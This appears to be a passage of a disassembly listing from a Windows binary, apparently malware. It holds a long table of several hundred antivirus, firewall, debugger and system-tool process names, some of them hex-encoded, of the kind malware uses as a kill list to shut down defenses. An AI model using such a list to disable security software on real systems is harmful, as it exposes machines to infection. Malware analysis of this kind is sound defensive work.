		dd offset aWgfe95_exe	; "WGFE95.EXE"
		dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
		dd offset aWimmun32_exe	; "WIMMUN32.EXE"
		dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin32us_exe	; "WIN32US.EXE"
		dd offset aWinactive_exe ; "WINACTIVE.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWininetd_exe	; "WININETD.EXE"
		dd offset aWininit_exe	; "WININIT.EXE"
		dd offset aWininitx_exe	; "WININITX.EXE"
		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWinmain_exe	; "WINMAIN.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aWinppr32_exe	; "WINPPR32.EXE"
		dd offset aWinrecon_exe	; "WINRECON.EXE"
		dd offset aWinservn_exe	; "WINSERVN.EXE"
		dd offset aWinssk32_exe	; "WINSSK32.EXE"
		dd offset aWinstart_exe	; "WINSTART.EXE"
		dd offset aWinstart001_ex ; "WINSTART001.EXE"
		dd offset aWintsk32_exe	; "WINTSK32.EXE"
		dd offset aWinupdate_exe ; "WINUPDATE.EXE"
		dd offset aWkufind_exe	; "WKUFIND.EXE"
		dd offset aWnad_exe	; "WNAD.EXE"
		dd offset aWnt_exe	; "WNT.EXE"
		dd offset aWradmin_exe	; "WRADMIN.EXE"
		dd offset aWrctrl_exe	; "WRCTRL.EXE"
		dd offset aWsbgate_exe	; "WSBGATE.EXE"
		dd offset aWupdater_exe	; "WUPDATER.EXE"
		dd offset aWupdt_exe	; "WUPDT.EXE"
		dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
		dd offset aXpf202en_exe	; "XPF202EN.EXE"
		dd offset aZapro_exe	; "ZAPRO.EXE"
		dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
		dd offset aZatutor_exe	; "ZATUTOR.EXE"
		dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
		dd offset aZonealarm_exe ; "ZONEALARM.EXE"
		dd offset a_avp32_exe	; "_AVP32.EXE"
		dd offset a_avpcc_exe	; "_AVPCC.EXE"
		dd offset a_avpm_exe	; "_AVPM.EXE"
		dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
		dd offset aFAgobot_exe	; "F-AGOBOT.EXE"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_438C9C
		dd offset dword_438C90
		dd offset dword_438C84
		dd offset dword_438C78
		dd offset dword_438C68
		dd offset dword_438C5C
		dd offset dword_438C50
		dd offset dword_438C44
		dd offset dword_438C38
		dd offset dword_438C28
		dd offset dword_438C1C
		dd offset dword_438C0C
dword_438C0C	dd 72313169h, 346E3435h, 6578652Eh, 0					; ___:00438C08o
dword_438C1C	dd 6E757269h, 78652E34h, 65hdword_438C28	dd 75643364h, 74616470h, 78652E65h, 65hdword_438C38	dd 65746172h, 6578652Eh, 0dword_438C44	dd 74617373h, 78652E65h, 65hdword_438C50	dd 736E6977h, 652E7379h, 6578hdword_438C5C	dd 756E6977h, 652E6470h, 6578hdword_438C68	dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_438C78	dd 61656262h, 2E656C67h, 657865hdword_438C84	dd 696E6550h, 2E323373h, 657865hdword_438C90	dd 7663736Dh, 2E323362h, 657865hdword_438C9C	dd 69737973h, 2E6F666Eh, 657865haPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00438BD8o
		align 4
aFAgobot_exe	db 'F-AGOBOT.EXE',0     ; DATA XREF: ___:00438BD4o
		align 4
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: ___:00438BD0o
		align 4
a_avpm_exe	db '_AVPM.EXE',0        ; DATA XREF: ___:00438BCCo
		align 4
a_avpcc_exe	db '_AVPCC.EXE',0       ; DATA XREF: ___:00438BC8o
		align 4
a_avp32_exe	db '_AVP32.EXE',0       ; DATA XREF: ___:00438BC4o
		align 10h
aZonealarm_exe	db 'ZONEALARM.EXE',0    ; DATA XREF: ___:00438BC0o
		align 10h
aZonalm2601_exe	db 'ZONALM2601.EXE',0   ; DATA XREF: ___:00438BBCo
		align 10h
aZatutor_exe	db 'ZATUTOR.EXE',0      ; DATA XREF: ___:00438BB8o
aZapsetup3001_e	db 'ZAPSETUP3001.EXE',0 ; DATA XREF: ___:00438BB4o
		align 10h
aZapro_exe	db 'ZAPRO.EXE',0        ; DATA XREF: ___:00438BB0o
		align 4
aXpf202en_exe	db 'XPF202EN.EXE',0     ; DATA XREF: ___:00438BACo
		align 4
aWyvernworksfir	db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: ___:00438BA8o
aWupdt_exe	db 'WUPDT.EXE',0        ; DATA XREF: ___:00438BA4o
		align 10h
aWupdater_exe	db 'WUPDATER.EXE',0     ; DATA XREF: ___:00438BA0o
		align 10h
aWsbgate_exe	db 'WSBGATE.EXE',0      ; DATA XREF: ___:00438B9Co
aWrctrl_exe	db 'WRCTRL.EXE',0       ; DATA XREF: ___:00438B98o
		align 4
aWradmin_exe	db 'WRADMIN.EXE',0      ; DATA XREF: ___:00438B94o
aWnt_exe	db 'WNT.EXE',0          ; DATA XREF: ___:00438B90o
aWnad_exe	db 'WNAD.EXE',0         ; DATA XREF: ___:00438B8Co
		align 4
aWkufind_exe	db 'WKUFIND.EXE',0      ; DATA XREF: ___:00438B88o
aWinupdate_exe	db 'WINUPDATE.EXE',0    ; DATA XREF: ___:00438B84o
		align 4
aWintsk32_exe	db 'WINTSK32.EXE',0     ; DATA XREF: ___:00438B80o
		align 4
aWinstart001_ex	db 'WINSTART001.EXE',0  ; DATA XREF: ___:00438B7Co
aWinstart_exe	db 'WINSTART.EXE',0     ; DATA XREF: ___:00438B78o
		align 4
aWinssk32_exe	db 'WINSSK32.EXE',0     ; DATA XREF: ___:00438B74o
		align 4
aWinservn_exe	db 'WINSERVN.EXE',0     ; DATA XREF: ___:00438B70o
		align 4
aWinrecon_exe	db 'WINRECON.EXE',0     ; DATA XREF: ___:00438B6Co
		align 4
aWinppr32_exe	db 'WINPPR32.EXE',0     ; DATA XREF: ___:00438B68o
		align 4
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: ___:00438B64o
		align 10h
aWinmain_exe	db 'WINMAIN.EXE',0      ; DATA XREF: ___:00438B60o
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: ___:00438B5Co
		align 4
aWininitx_exe	db 'WININITX.EXE',0     ; DATA XREF: ___:00438B58o
		align 4
aWininit_exe	db 'WININIT.EXE',0      ; DATA XREF: ___:00438B54o
aWininetd_exe	db 'WININETD.EXE',0     ; DATA XREF: ___:00438B50o
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: ___:00438B4Co
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: ___:00438B48o
		align 10h
aWinactive_exe	db 'WINACTIVE.EXE',0    ; DATA XREF: ___:00438B44o
		align 10h
aWin32us_exe	db 'WIN32US.EXE',0      ; DATA XREF: ___:00438B40o
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: ___:00438B3Co
		align 4
aWinBugsfix_exe	db 'WIN-BUGSFIX.EXE',0  ; DATA XREF: ___:00438B38o
aWimmun32_exe	db 'WIMMUN32.EXE',0     ; DATA XREF: ___:00438B34o
		align 4
aWhoswatchingme	db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: ___:00438B30o
		align 4
aWgfe95_exe	db 'WGFE95.EXE',0       ; DATA XREF: ___:00438B2Co
		align 4
aWfindv32_exe	db 'WFINDV32.EXE',0     ; DATA XREF: ___:00438B28o
		align 4
aWebtrap_exe	db 'WEBTRAP.EXE',0      ; DATA XREF: ___:00438B24o
aWebscanx_exe	db 'WEBSCANX.EXE',0     ; DATA XREF: ___:00438B20o
		align 4
aWebdav_exe	db 'WEBDAV.EXE',0       ; DATA XREF: ___:00438B1Co
		align 10h
aWatchdog_exe	db 'WATCHDOG.EXE',0     ; DATA XREF: ___:00438B18o
		align 10h
aW9x_exe	db 'W9X.EXE',0          ; DATA XREF: ___:00438B14o
aW32dsm89_exe	db 'W32DSM89.EXE',0     ; DATA XREF: ___:00438B10o
		align 4
aVswinperse_exe	db 'VSWINPERSE.EXE',0   ; DATA XREF: ___:00438B0Co
		align 4
aVswinntse_exe	db 'VSWINNTSE.EXE',0    ; DATA XREF: ___:00438B08o
		align 4
aVswin9xe_exe	db 'VSWIN9XE.EXE',0     ; DATA XREF: ___:00438B04o
		align 4
aVsstat_exe	db 'VSSTAT.EXE',0       ; DATA XREF: ___:00438B00o
		align 4
aVsmon_exe	db 'VSMON.EXE',0        ; DATA XREF: ___:00438AFCo
		align 10h
aVsmain_exe	db 'VSMAIN.EXE',0       ; DATA XREF: ___:00438AF8o
		align 4
aVsisetup_exe	db 'VSISETUP.EXE',0     ; DATA XREF: ___:00438AF4o
		align 4
aVshwin32_exe	db 'VSHWIN32.EXE',0     ; DATA XREF: ___:00438AF0o
		align 4
aVsecomr_exe	db 'VSECOMR.EXE',0      ; DATA XREF: ___:00438AECo
aVsched_exe	db 'VSCHED.EXE',0       ; DATA XREF: ___:00438AE8o
		align 4
aVscenu6_02d30_	db 'VSCENU6.02D30.EXE',0 ; DATA XREF: ___:00438AE4o
		align 4
aVscan40_exe	db 'VSCAN40.EXE',0      ; DATA XREF: ___:00438AE0o
aVptray_exe	db 'VPTRAY.EXE',0       ; DATA XREF: ___:00438ADCo
		align 10h
aVpfw30s_exe	db 'VPFW30S.EXE',0      ; DATA XREF: ___:00438AD8o
aVpc42_exe	db 'VPC42.EXE',0        ; DATA XREF: ___:00438AD4o
		align 4
aVpc32_exe	db 'VPC32.EXE',0        ; DATA XREF: ___:00438AD0o
		align 4
aVnpc3000_exe	db 'VNPC3000.EXE',0     ; DATA XREF: ___:00438ACCo
		align 4
aVnlan300_exe	db 'VNLAN300.EXE',0     ; DATA XREF: ___:00438AC8o
		align 4
aVirusmdpersona	db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: ___:00438AC4o
aVirHelp_exe	db 'VIR-HELP.EXE',0     ; DATA XREF: ___:00438AC0o
		align 10h
aVfsetup_exe	db 'VFSETUP.EXE',0      ; DATA XREF: ___:00438ABCo
aVettray_exe	db 'VETTRAY.EXE',0      ; DATA XREF: ___:00438AB8o
aVet95_exe	db 'VET95.EXE',0        ; DATA XREF: ___:00438AB4o
		align 4
aVet32_exe	db 'VET32.EXE',0        ; DATA XREF: ___:00438AB0o
		align 10h
aVcsetup_exe	db 'VCSETUP.EXE',0      ; DATA XREF: ___:00438AACo
aVbwinntw_exe	db 'VBWINNTW.EXE',0     ; DATA XREF: ___:00438AA8o
		align 4
aVbwin9x_exe	db 'VBWIN9X.EXE',0      ; DATA XREF: ___:00438AA4o
aVbust_exe	db 'VBUST.EXE',0        ; DATA XREF: ___:00438AA0o
		align 4
aVbcons_exe	db 'VBCONS.EXE',0       ; DATA XREF: ___:00438A9Co
		align 10h
aVbcmserv_exe	db 'VBCMSERV.EXE',0     ; DATA XREF: ___:00438A98o
		align 10h
aUtpost_exe	db 'UTPOST.EXE',0       ; DATA XREF: ___:00438A94o
		align 4
aUpgrad_exe	db 'UPGRAD.EXE',0       ; DATA XREF: ___:00438A90o
		align 4
aUpdate_exe	db 'UPDATE.EXE',0       ; DATA XREF: ___:00438A88o
					; ___:00438A8Co
		align 4
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: ___:00438A84o
		align 10h
aUndoboot_exe	db 'UNDOBOOT.EXE',0     ; DATA XREF: ___:00438A80o
		align 10h
aTvtmd_exe	db 'TVTMD.EXE',0        ; DATA XREF: ___:00438A7Co
		align 4
aTvmd_exe	db 'TVMD.EXE',0         ; DATA XREF: ___:00438A78o
		align 4
aTsadbot_exe	db 'TSADBOT.EXE',0      ; DATA XREF: ___:00438A74o
aTrojantrap3_ex	db 'TROJANTRAP3.EXE',0  ; DATA XREF: ___:00438A70o
aTrjsetup_exe	db 'TRJSETUP.EXE',0     ; DATA XREF: ___:00438A6Co
		align 4
aTrjscan_exe	db 'TRJSCAN.EXE',0      ; DATA XREF: ___:00438A68o
aTrickler_exe	db 'TRICKLER.EXE',0     ; DATA XREF: ___:00438A64o
		align 10h
aTracert_exe	db 'TRACERT.EXE',0      ; DATA XREF: ___:00438A60o
aTitaninxp_exe	db 'TITANINXP.EXE',0    ; DATA XREF: ___:00438A5Co
		align 4
aTitanin_exe	db 'TITANIN.EXE',0      ; DATA XREF: ___:00438A58o
aTgbob_exe	db 'TGBOB.EXE',0        ; DATA XREF: ___:00438A54o
		align 4
aTfak5_exe	db 'TFAK5.EXE',0        ; DATA XREF: ___:00438A50o
		align 10h
aTfak_exe	db 'TFAK.EXE',0         ; DATA XREF: ___:00438A4Co
		align 4
aTeekids_exe	db 'TEEKIDS.EXE',0      ; DATA XREF: ___:00438A48o
aTds2Nt_exe	db 'TDS2-NT.EXE',0      ; DATA XREF: ___:00438A44o
aTds298_exe	db 'TDS2-98.EXE',0      ; DATA XREF: ___:00438A40o
aTds3_exe	db 'TDS-3.EXE',0        ; DATA XREF: ___:00438A3Co
		align 4
aTcm_exe	db 'TCM.EXE',0          ; DATA XREF: ___:00438A38o
aTca_exe	db 'TCA.EXE',0          ; DATA XREF: ___:00438A34o
aTc_exe		db 'TC.EXE',0           ; DATA XREF: ___:00438A30o
		align 4
aTbscan_exe	db 'TBSCAN.EXE',0       ; DATA XREF: ___:00438A2Co
		align 10h
aTaumon_exe	db 'TAUMON.EXE',0       ; DATA XREF: ___:00438A28o
		align 4
aTaskmon_exe	db 'TASKMON.EXE',0      ; DATA XREF: ___:00438A24o
aTaskmo_exe	db 'TASKMO.EXE',0       ; DATA XREF: ___:00438A20o
		align 4
aTaskmg_exe	db 'TASKMG.EXE',0       ; DATA XREF: ___:00438A1Co
		align 10h
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: ___:00438A18o
		align 4
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: ___:00438A14o
		align 4
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: ___:00438A10o
		align 4
aSysedit_exe	db 'SYSEDIT.EXE',0      ; DATA XREF: ___:00438A0Co
aSymtray_exe	db 'SYMTRAY.EXE',0      ; DATA XREF: ___:00438A08o
aSymproxysvc_ex	db 'SYMPROXYSVC.EXE',0  ; DATA XREF: ___:00438A04o
aSweepnet_sweep	db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: ___:00438A00o
		align 4
aSweep95_exe	db 'SWEEP95.EXE',0      ; DATA XREF: ___:004389FCo
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: ___:004389F8o
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: ___:004389F4o
		align 4
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: ___:004389F0o
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: ___:004389ECo
aSupporter5_exe	db 'SUPPORTER5.EXE',0   ; DATA XREF: ___:004389E8o
		align 4
aSupport_exe	db 'SUPPORT.EXE',0      ; DATA XREF: ___:004389E4o
aSupftrl_exe	db 'SUPFTRL.EXE',0      ; DATA XREF: ___:004389E0o
aStcloader_exe	db 'STCLOADER.EXE',0    ; DATA XREF: ___:004389DCo
		align 4
aStart_exe	db 'START.EXE',0        ; DATA XREF: ___:004389D8o
		align 4
aSt2_exe	db 'ST2.EXE',0          ; DATA XREF: ___:004389D4o
aSsg_4104_exe	db 'SSG_4104.EXE',0     ; DATA XREF: ___:004389D0o
		align 10h
aSsgrate_exe	db 'SSGRATE.EXE',0      ; DATA XREF: ___:004389CCo
aSs3edit_exe	db 'SS3EDIT.EXE',0      ; DATA XREF: ___:004389C8o
aSrng_exe	db 'SRNG.EXE',0         ; DATA XREF: ___:004389C4o
		align 4
aSrexe_exe	db 'SREXE.EXE',0        ; DATA XREF: ___:004389C0o
		align 10h
aSpyxx_exe	db 'SPYXX.EXE',0        ; DATA XREF: ___:004389BCo
		align 4
aSpoolsv32_exe	db 'SPOOLSV32.EXE',0    ; DATA XREF: ___:004389B8o
		align 4
aSpoolcv_exe	db 'SPOOLCV.EXE',0      ; DATA XREF: ___:004389B4o
aSpoler_exe	db 'SPOLER.EXE',0       ; DATA XREF: ___:004389B0o
		align 4
aSphinx_exe	db 'SPHINX.EXE',0       ; DATA XREF: ___:004389ACo
		align 10h
aSpf_exe	db 'SPF.EXE',0          ; DATA XREF: ___:004389A8o
aSperm_exe	db 'SPERM.EXE',0        ; DATA XREF: ___:004389A4o
		align 4
aSofi_exe	db 'SOFI.EXE',0         ; DATA XREF: ___:004389A0o
		align 10h
aSoap_exe	db 'SOAP.EXE',0         ; DATA XREF: ___:0043899Co
		align 4
aSmss32_exe	db 'SMSS32.EXE',0       ; DATA XREF: ___:00438998o
		align 4
aSms_exe	db 'SMS.EXE',0          ; DATA XREF: ___:00438994o
aSmc_exe	db 'SMC.EXE',0          ; DATA XREF: ___:00438990o
aShowbehind_exe	db 'SHOWBEHIND.EXE',0   ; DATA XREF: ___:0043898Co
		align 4
aShn_exe	db 'SHN.EXE',0          ; DATA XREF: ___:00438988o
aShellspyinstal	db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: ___:00438984o
aSh_exe		db 'SH.EXE',0           ; DATA XREF: ___:00438980o
		align 4
aSgssfw32_exe	db 'SGSSFW32.EXE',0     ; DATA XREF: ___:0043897Co
		align 4
aSfc_exe	db 'SFC.EXE',0          ; DATA XREF: ___:00438978o
aSetup_flowprot	db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: ___:00438974o
		align 10h
aSetupvameeval_	db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: ___:00438970o
		align 4
aServlces_exe	db 'SERVLCES.EXE',0     ; DATA XREF: ___:0043896Co
		align 4
aServlce_exe	db 'SERVLCE.EXE',0      ; DATA XREF: ___:00438968o
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: ___:00438964o
aServ95_exe	db 'SERV95.EXE',0       ; DATA XREF: ___:00438960o
		align 4
aSd_exe		db 'SD.EXE',0           ; DATA XREF: ___:0043895Co
		align 10h
aScvhost_exe	db 'SCVHOST.EXE',0      ; DATA XREF: ___:00438958o
aScrsvr_exe	db 'SCRSVR.EXE',0       ; DATA XREF: ___:00438954o
		align 4
aScrscan_exe	db 'SCRSCAN.EXE',0      ; DATA XREF: ___:00438950o
aScanpm_exe	db 'SCANPM.EXE',0       ; DATA XREF: ___:0043894Co
		align 10h
aScan95_exe	db 'SCAN95.EXE',0       ; DATA XREF: ___:00438948o
		align 4
aScan32_exe	db 'SCAN32.EXE',0       ; DATA XREF: ___:00438944o
		align 4
aScam32_exe	db 'SCAM32.EXE',0       ; DATA XREF: ___:00438940o
		align 4
aSc_exe		db 'SC.EXE',0           ; DATA XREF: ___:0043893Co
		align 4
aSbserv_exe	db 'SBSERV.EXE',0       ; DATA XREF: ___:00438938o
		align 4
aSavenow_exe	db 'SAVENOW.EXE',0      ; DATA XREF: ___:00438934o
aSave_exe	db 'SAVE.EXE',0         ; DATA XREF: ___:00438930o
		align 10h
aSahagent_exe	db 'SAHAGENT.EXE',0     ; DATA XREF: ___:0043892Co
		align 10h
aSafeweb_exe	db 'SAFEWEB.EXE',0      ; DATA XREF: ___:00438928o
aRuxdll32_exe	db 'RUXDLL32.EXE',0     ; DATA XREF: ___:00438924o
		align 4
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: ___:00438920o
		align 4
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: ___:0043891Co
		align 4
aRun32dll_exe	db 'RUN32DLL.EXE',0     ; DATA XREF: ___:00438918o
		align 4
aRulaunch_exe	db 'RULAUNCH.EXE',0     ; DATA XREF: ___:00438914o
		align 4
aRtvscn95_exe	db 'RTVSCN95.EXE',0     ; DATA XREF: ___:00438910o
		align 4
aRtvscan_exe	db 'RTVSCAN.EXE',0      ; DATA XREF: ___:0043890Co
aRshell_exe	db 'RSHELL.EXE',0       ; DATA XREF: ___:00438908o
		align 10h
aRrguard_exe	db 'RRGUARD.EXE',0      ; DATA XREF: ___:00438904o
aRescue32_exe	db 'RESCUE32.EXE',0     ; DATA XREF: ___:00438900o
		align 4
aRescue_exe	db 'RESCUE.EXE',0       ; DATA XREF: ___:004388FCo
		align 4
aRegedt32_exe	db 'REGEDT32.EXE',0     ; DATA XREF: ___:004388F8o
		align 4
aRegedit_exe	db 'REGEDIT.EXE',0      ; DATA XREF: ___:004388F4o
aReged_exe	db 'REGED.EXE',0        ; DATA XREF: ___:004388F0o
		align 10h
aRealmon_exe	db 'REALMON.EXE',0      ; DATA XREF: ___:004388ECo
aRcsync_exe	db 'RCSYNC.EXE',0       ; DATA XREF: ___:004388E8o
		align 4
aRb32_exe	db 'RB32.EXE',0         ; DATA XREF: ___:004388E4o
		align 4
aRay_exe	db 'RAY.EXE',0          ; DATA XREF: ___:004388E0o
aRav8win32eng_e	db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: ___:004388DCo
		align 10h
aRav7win_exe	db 'RAV7WIN.EXE',0      ; DATA XREF: ___:004388D8o
aRav7_exe	db 'RAV7.EXE',0         ; DATA XREF: ___:004388D4o
		align 4
aRapapp_exe	db 'RAPAPP.EXE',0       ; DATA XREF: ___:004388D0o
		align 4
aQserver_exe	db 'QSERVER.EXE',0      ; DATA XREF: ___:004388CCo
aQconsole_exe	db 'QCONSOLE.EXE',0     ; DATA XREF: ___:004388C8o
		align 10h
aPview95_exe	db 'PVIEW95.EXE',0      ; DATA XREF: ___:004388C4o
aPussy_exe	db 'PUSSY.EXE',0        ; DATA XREF: ___:004388C0o
		align 4
aPurge_exe	db 'PURGE.EXE',0        ; DATA XREF: ___:004388BCo
		align 4
aPspf_exe	db 'PSPF.EXE',0         ; DATA XREF: ___:004388B8o
		align 10h
aProtectx_exe	db 'PROTECTX.EXE',0     ; DATA XREF: ___:004388B4o
		align 10h
aProport_exe	db 'PROPORT.EXE',0      ; DATA XREF: ___:004388B0o
aProgramauditor	db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: ___:004388ACo
		align 10h
aProcexplorerv1	db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: ___:004388A8o
		align 4
aProcessmonitor	db 'PROCESSMONITOR.EXE',0 ; DATA XREF: ___:004388A4o
		align 4
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: ___:004388A0o
		align 4
aPrmvr_exe	db 'PRMVR.EXE',0        ; DATA XREF: ___:0043889Co
		align 4
aPrmt_exe	db 'PRMT.EXE',0         ; DATA XREF: ___:00438898o
		align 4
aPrizesurfer_ex	db 'PRIZESURFER.EXE',0  ; DATA XREF: ___:00438894o
aPpvstop_exe	db 'PPVSTOP.EXE',0      ; DATA XREF: ___:00438890o
aPptbc_exe	db 'PPTBC.EXE',0        ; DATA XREF: ___:0043888Co
		align 4
aPpinupdt_exe	db 'PPINUPDT.EXE',0     ; DATA XREF: ___:00438888o
		align 4
aPowerscan_exe	db 'POWERSCAN.EXE',0    ; DATA XREF: ___:00438884o
		align 4
aPortmonitor_ex	db 'PORTMONITOR.EXE',0  ; DATA XREF: ___:00438880o
aPortdetective_	db 'PORTDETECTIVE.EXE',0 ; DATA XREF: ___:0043887Co
		align 10h
aPopscan_exe	db 'POPSCAN.EXE',0      ; DATA XREF: ___:00438878o
aPoproxy_exe	db 'POPROXY.EXE',0      ; DATA XREF: ___:00438874o
aPop3trap_exe	db 'POP3TRAP.EXE',0     ; DATA XREF: ___:00438870o
		align 4
aPlatin_exe	db 'PLATIN.EXE',0       ; DATA XREF: ___:0043886Co
		align 4
aPingscan_exe	db 'PINGSCAN.EXE',0     ; DATA XREF: ___:00438868o
		align 4
aPgmonitr_exe	db 'PGMONITR.EXE',0     ; DATA XREF: ___:00438864o
		align 4
aPfwadmin_exe	db 'PFWADMIN.EXE',0     ; DATA XREF: ___:00438860o
		align 4
aPf2_exe	db 'PF2.EXE',0          ; DATA XREF: ___:0043885Co
aPerswf_exe	db 'PERSWF.EXE',0       ; DATA XREF: ___:00438858o
		align 4
aPersfw_exe	db 'PERSFW.EXE',0       ; DATA XREF: ___:00438854o
		align 4
aPeriscope_exe	db 'PERISCOPE.EXE',0    ; DATA XREF: ___:00438850o
		align 4
aPenis_exe	db 'PENIS.EXE',0        ; DATA XREF: ___:0043884Co
		align 10h
aPdsetup_exe	db 'PDSETUP.EXE',0      ; DATA XREF: ___:00438848o
aPcscan_exe	db 'PCSCAN.EXE',0       ; DATA XREF: ___:00438844o
		align 4
aPcip10117_0_ex	db 'PCIP10117_0.EXE',0  ; DATA XREF: ___:00438840o
aPcfwallicon_ex	db 'PCFWALLICON.EXE',0  ; DATA XREF: ___:0043883Co
aPcdsetup_exe	db 'PCDSETUP.EXE',0     ; DATA XREF: ___:00438838o
		align 4
aPccwin98_exe	db 'PCCWIN98.EXE',0     ; DATA XREF: ___:00438834o
		align 4
aPccwin97_exe	db 'PCCWIN97.EXE',0     ; DATA XREF: ___:00438830o
		align 4
aPccntmon_exe	db 'PCCNTMON.EXE',0     ; DATA XREF: ___:0043882Co
		align 4
aPcciomon_exe	db 'PCCIOMON.EXE',0     ; DATA XREF: ___:00438828o
		align 4
aPcc2k_76_1436_	db 'PCC2K_76_1436.EXE',0 ; DATA XREF: ___:00438824o
		align 4
aPcc2002s902_ex	db 'PCC2002S902.EXE',0  ; DATA XREF: ___:00438820o
aPavw_exe	db 'PAVW.EXE',0         ; DATA XREF: ___:0043881Co
		align 4
aPavsched_exe	db 'PAVSCHED.EXE',0     ; DATA XREF: ___:00438818o
		align 4
aPavproxy_exe	db 'PAVPROXY.EXE',0     ; DATA XREF: ___:00438814o
		align 4
aPavcl_exe	db 'PAVCL.EXE',0        ; DATA XREF: ___:00438810o
		align 4
aPatch_exe	db 'PATCH.EXE',0        ; DATA XREF: ___:0043880Co
		align 10h
aPanixk_exe	db 'PANIXK.EXE',0       ; DATA XREF: ___:00438808o
		align 4
aPadmin_exe	db 'PADMIN.EXE',0       ; DATA XREF: ___:00438804o
		align 4
aOutpostproinst	db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: ___:00438800o
		align 10h
aOutpostinstall	db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: ___:004387FCo
		align 4
aOutpost_exe	db 'OUTPOST.EXE',0      ; DATA XREF: ___:004387F4o
					; ___:004387F8o
aOtfix_exe	db 'OTFIX.EXE',0        ; DATA XREF: ___:004387F0o
		align 4
aOstronet_exe	db 'OSTRONET.EXE',0     ; DATA XREF: ___:004387ECo
		align 4
aOptimize_exe	db 'OPTIMIZE.EXE',0     ; DATA XREF: ___:004387E8o
		align 4
aOnsrvr_exe	db 'ONSRVR.EXE',0       ; DATA XREF: ___:004387E4o
		align 4
aOllydbg_exe	db 'OLLYDBG.EXE',0      ; DATA XREF: ___:004387E0o
aNwtool16_exe	db 'NWTOOL16.EXE',0     ; DATA XREF: ___:004387DCo
		align 4
aNwservice_exe	db 'NWSERVICE.EXE',0    ; DATA XREF: ___:004387D8o
		align 4
aNwinst4_exe	db 'NWINST4.EXE',0      ; DATA XREF: ___:004387D4o
aNvsvc32_exe	db 'NVSVC32.EXE',0      ; DATA XREF: ___:004387D0o
aNvc95_exe	db 'NVC95.EXE',0        ; DATA XREF: ___:004387CCo
		align 4
aNvarch16_exe	db 'NVARCH16.EXE',0     ; DATA XREF: ___:004387C8o
		align 4
aNupgrade_exe	db 'NUPGRADE.EXE',0     ; DATA XREF: ___:004387C0o
					; ___:004387C4o
		align 4
aNui_exe	db 'NUI.EXE',0          ; DATA XREF: ___:004387BCo
aNtxconfig_exe	db 'NTXconfig.EXE',0    ; DATA XREF: ___:004387B8o
		align 10h
aNtvdm_exe	db 'NTVDM.EXE',0        ; DATA XREF: ___:004387B4o
		align 4
aNtrtscan_exe	db 'NTRTSCAN.EXE',0     ; DATA XREF: ___:004387B0o
		align 4
aNt_exe		db 'NT.EXE',0           ; DATA XREF: ___:004387ACo
		align 4
aNsupdate_exe	db 'NSUPDATE.EXE',0     ; DATA XREF: ___:004387A8o
		align 4
aNstask32_exe	db 'NSTASK32.EXE',0     ; DATA XREF: ___:004387A4o
		align 4
aNssys32_exe	db 'NSSYS32.EXE',0      ; DATA XREF: ___:004387A0o
aNsched32_exe	db 'NSCHED32.EXE',0     ; DATA XREF: ___:0043879Co
		align 10h
aNpssvc_exe	db 'NPSSVC.EXE',0       ; DATA XREF: ___:00438798o
		align 4
aNpscheck_exe	db 'NPSCHECK.EXE',0     ; DATA XREF: ___:00438794o
		align 4
aNprotect_exe	db 'NPROTECT.EXE',0     ; DATA XREF: ___:00438790o
		align 4
aNpfmessenger_e	db 'NPFMESSENGER.EXE',0 ; DATA XREF: ___:0043878Co
		align 10h
aNpf40_tw_98_nt	db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: ___:00438788o
		align 4
aNotstart_exe	db 'NOTSTART.EXE',0     ; DATA XREF: ___:00438784o
		align 4
aNorton_interne	db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: ___:00438780o
		align 10h
aNormist_exe	db 'NORMIST.EXE',0      ; DATA XREF: ___:0043877Co
aNod32_exe	db 'NOD32.EXE',0        ; DATA XREF: ___:00438778o
		align 4
aNmain_exe	db 'NMAIN.EXE',0        ; DATA XREF: ___:00438774o
		align 4
